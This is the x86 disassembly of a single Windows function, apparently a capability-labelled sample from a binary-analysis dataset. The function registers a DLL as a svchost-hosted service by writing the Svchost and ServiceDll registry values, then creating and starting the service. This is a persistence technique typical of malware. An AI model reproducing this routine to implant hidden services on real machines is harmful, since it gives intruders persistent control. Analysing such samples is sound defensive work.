Function at 0x1001c260
Capabilities:
Create service
Get common file path
Get system information on windows
Modify service
Persist via windows service
Print debug messages
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1010f921
mov eax, dword fs:[0]
push eax
sub esp, 0x294
mov eax, dword [0x1016420c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x270], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x274], eax
xor eax, eax
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
cmp word [edx], ax
jne 0x1001c2d5
xor ecx, ecx
jmp 0x1001c2ef
mov ecx, edx
lea edi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1001c2e0
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x230]
call fcn.1001a800
lea eax, [ebp - 0x264]
mov dword [ebp - 4], 0
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x264], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1001c5c4
mov edx, ebx
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x1001c335
sub edx, ecx
lea ecx, [ebp - 0x230]
sar edx, 1
cmp dword [ebp - 0x21c], 8
cmovae ecx, dword [ebp - 0x230]
lea eax, [edx*2 + 2]
push eax
push ebx
push 7
push 0
push ecx
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1001c5c4
push dword [ebp - 0x264]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
mov dword [ebp - 0x27c], edi
test edi, edi
je 0x1001c5c4
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.100e23d0
add esp, 0xc
lea ecx, [ebp - 0x248]
push 0x10112588
call fcn.1001ab20
lea eax, [ebp - 0x2a0]
mov byte [ebp - 4], 1
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ax, word [ebp - 0x2a0]
cmp ax, 9
je 0x1001c405
cmp ax, 6
je 0x1001c405
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
jmp 0x1001c417
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x248]
call fcn.10018750
push str._svchost.exe__k
lea ecx, [ebp - 0x248]
call fcn.1001ad60
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x248]
call fcn.1001b3d0
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
push 0
cmovae eax, dword [ebp - 0x248]
push 0
push 0
push 0
push 0
push eax
push 1
push 2
push 0x20
push 0xf01ff
push dword [ebp - 0x270]
push dword [ebp - 0x26c]
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov edi, eax
test edi, edi
jne 0x1001c4a4
lea ecx, [ebp - 0x248]
xor esi, esi
call fcn.10018570
jmp 0x1001c5c6
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0x278]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push str.SYSTEMCurrentControlSetServices_
lea ecx, [ebp - 0x260]
call fcn.1001ab20
push dword [ebp - 0x26c]
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 2
call fcn.1001ad60
cmp dword [ebp - 0x24c], 8
lea ecx, [ebp - 0x264]
push ecx
push 0xf003f
lea eax, [ebp - 0x260]
cmovae eax, dword [ebp - 0x260]
push 0
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1001c5aa
mov dword [ebp - 0x268], eax
lea eax, [ebp - 0x268]
push eax
push str.Parameters
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1001c5aa
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
jb 0x1001c548
mov esi, dword [esi]
lea eax, [eax*2 + 2]
push eax
push esi
push 2
push 0
push str.ServiceDll
push dword [ebp - 0x268]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1001c5aa
push eax
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x1001c582
push str._n_StartService_fail
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push dword [ebp - 0x264]
call ebx
push dword [ebp - 0x268]
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push dword [ebp - 0x27c]
call esi
mov esi, 1
jmp 0x1001c5ac
xor esi, esi
lea ecx, [ebp - 0x260]
call fcn.10018570
lea ecx, [ebp - 0x248]
call fcn.10018570
jmp 0x1001c5c6
xor esi, esi
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x1001c5e4
inc ecx
push ecx
push dword [ebp - 0x230]
lea ecx, [ebp - 0x230]
call fcn.1001a900
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001cd0b
mov esp, ebp
pop ebp
ret